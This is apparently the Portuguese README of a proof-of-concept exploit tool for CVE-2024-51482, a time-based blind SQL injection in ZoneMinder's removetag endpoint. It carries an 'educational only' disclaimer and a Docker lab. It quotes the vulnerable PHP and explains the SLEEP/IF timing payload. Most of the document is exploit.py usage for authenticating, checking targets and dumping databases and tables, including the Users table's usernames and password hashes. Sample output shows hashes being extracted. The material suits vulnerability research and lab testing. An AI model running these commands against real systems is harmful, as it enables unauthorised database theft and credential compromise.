
Prova de conceito de injeção SQL baseada em tempo para CVE-2024-51482 no ZoneMinder, com laboratório Docker reproduzível e extração automatizada de dados.
⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada. Executar esta ferramenta contra sistemas que você não possui ou sem permissão por escrito para testar é ilegal.
Este repositório contém um PoC de injeção SQL baseada em tempo direcionado ao ZoneMinder.
A ferramenta permite:
Também inclui um laboratório Docker totalmente reproduzível para testes seguros.
O ZoneMinder é um software de televisão de circuito fechado gratuito e de código aberto. A vulnerabilidade surge da validação insuficiente de entrada no endpoint removetag do ZoneMinder. A entrada fornecida pelo usuário é incorporada diretamente em consultas SQL sem sanitização ou parametrização adequada, permitindo que atacantes injetem payloads SQL maliciosos baseados em booleanos. O exploit utiliza:
SLEEP(x - IF(condition, 0, x))
para inferir dados através do tempo de resposta.
Trecho de código vulnerável completo do Aviso do Mantenedor no GitHub:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Atacante Aplicação Web ZoneMinder
│ │
│ [Autenticação] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← sessão autenticada
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ Consulta SQL booleana executada
│ IF(condition, sem atraso, SLEEP)
│◄────────────────────────────────────────│
│ Resposta atrasada (oráculo de tempo) │ ← condição inferida
│ │
│ Repetir requisições │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Diferenças de tempo revelam caracteres │
│ │
│ Busca binária por caractere │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Dados extraídos (1 caractere por vez) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Divulgação completa do banco de dados │
│ │
✓ Exfiltração completa de dados via SQLi cego
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure as variáveis de ambiente
docker compose up -d
Sem nenhuma flag, a ferramenta autentica no alvo, verifica sua vulnerabilidade e, se vulnerável, extrai as colunas ID, Username, Password, Name e Email da tabela zm.Users (comando dump-users).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
Apenas verifica se o alvo é vulnerável.
python exploit.py -t http://target/zm -u <username> -p <password> check
Extrai as colunas ID, Username, Password, Name e Email da tabela zm.Users. Comando padrão se nenhum for especificado.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
Lista todos os bancos de dados.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
Lista tabelas em um banco de dados especificado.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
Lista colunas em uma tabela especificada.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
Extrai todos os dados de uma tabela especificada.
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
Você também pode especificar colunas para extrair (padrão é todas):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
Se o arquivo não existir, será criado. Se já existir, novos resultados serão anexados.
--outfile results.csv
| Flag | Descrição | Exemplo |
|---|---|---|
-t, --target | URL base do alvo | -t http://localhost:8080 |
-u, --user | Nome de usuário para autenticação | -u admin |
-p, --password | Senha para autenticação | -p admin |
--cookie | Usar um cookie ZMSESSID existente em vez de login | --cookie abc123... |
| Comando | Descrição | Exemplo |
|---|---|---|
check | Testar se o alvo é vulnerável (SQLi baseada em tempo) | check |
dump-users | Extrair diretamente a tabela zm.Users | dump-users |
list-db | Listar todos os bancos de dados | list-db |
list-tables | Listar tabelas de um banco de dados | list-tables --db zm |
list-columns | Listar colunas de uma tabela | list-columns --db zm --table Users |
dump-table | Extrair uma tabela específica | dump-table --db zm --table Users |
| Flag | Descrição | Obrigatório | Exemplo |
|---|---|---|---|
--db | Nome do banco de dados | Sim (para ops de tabela/coluna) | --db zm |
--table | Nome da tabela | Sim (para extração/coluna) | --table Users |
--columns | Lista separada por vírgulas de colunas a extrair | Opcional | --columns Username,Password |
| Flag | Descrição | Padrão | Exemplo |
|---|---|---|---|
--threads | Número de threads de extração concorrentes | 5 | --threads 6 |
--delay | Atraso usado para SQLi baseada em tempo | 3 | --delay 2 |
--no-check | Pular verificação de vulnerabilidade antes da exploração | False | --no-check |
| Flag | Descrição | Exemplo |
|---|---|---|
--outfile | Salvar saída em um arquivo CSV | --outfile results.csv |
--no-display | Desabilitar saída no terminal | --no-display |
| Flag | Descrição | Padrão | Exemplo |
|---|---|---|---|
-v, --verbose | Ativar logging de depuração | False | -v |
--log-file | Caminho para o arquivo de log | logs/exploit.log | --log-file out.log |
--no-color | Desabilitar saída colorida | False | --no-color |
python3 exploit.py \
-t http://localhost:8080 \
-u admin -p admin \
dump-table \
--db zm \
--table Users \
--columns Username,Password \
--threads 6 \
--delay 2 \
--outfile dump.csv
dump-users é um atalho para extrair a tabela zm.Users.--no-check apenas se tiver certeza de que o alvo é vulnerável.O arquivo docker-compose.yml incluído configura uma instância vulnerável do ZoneMinder.
cp .env.example .env # Configure as variáveis de ambiente
docker compose up -d
Acesse a interface web em http://localhost:8080/ (ou sua porta personalizada). As credenciais padrão são admin:admin. Você pode então executar o exploit contra esta instância local para testes.
$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
_________ ____ _______________ ________ _______ ________ _____ .________ ____ _____ ______ ________
\_ ___ \\ \ / /\_ _____/ \_____ \\ _ \ \_____ \ / | | | ____//_ | / | | / __ \ \_____ \
/ \ \/ \ Y / | __)_ ______ / ____// /_\ \ / ____/ / | |_ ______|____ \ | | / | |_ > < / ____/
\ \____ \ / | \/_____// \\ \_/ \/ \ / ^ //_____// \ | |/ ^ // -- \/ \
\______ / \___/ /_______ / \_______ \\_____ /\_______ \\____ | /______ / |___|\____ | \______ /\_______ \
\/ \/ \/ \/ \/ |__| \/ |__| \/ \/
[∗] Target URL: http://localhost:8080/
[∗] Module : dump-table
[∗] Output will be saved to: ./out.csv
[∗] Attempting to log in with username/password authentication
🡲 Credentials: admin:admin
[+] Successfully authenticated as user admin
[∗] Testing target vulnerability...
[+] Target appears to be vulnerable (response time indicates successful injection).
[∗] Dumping contents of table zm.Users...
[+] Found columns: Username, Password
[∗] Retrieving number of rows in the table...
[+] Table contains 2 rows. Starting dump...
[∗] Progress: 5/5 | admin
[∗] Progress: 60/60 | $2h$12$NHZs...
[+] Retrieved row 1 : admin, $2h$12$NHZs...
[∗] Progress: 4/4 | flag
[∗] Progress: 60/60 | $2y$10$1Ei....
[+] Retrieved row 2 : flag, $2y$10$1Ei....
+----------+----------------+
| Username | Password |
+----------+----------------+
| admin | $2h$12$NHZs... |
| flag | $2y$10$1Ei.... |
+----------+----------------+
[+] Results written to ./out.csv
[+] Work done. Bye!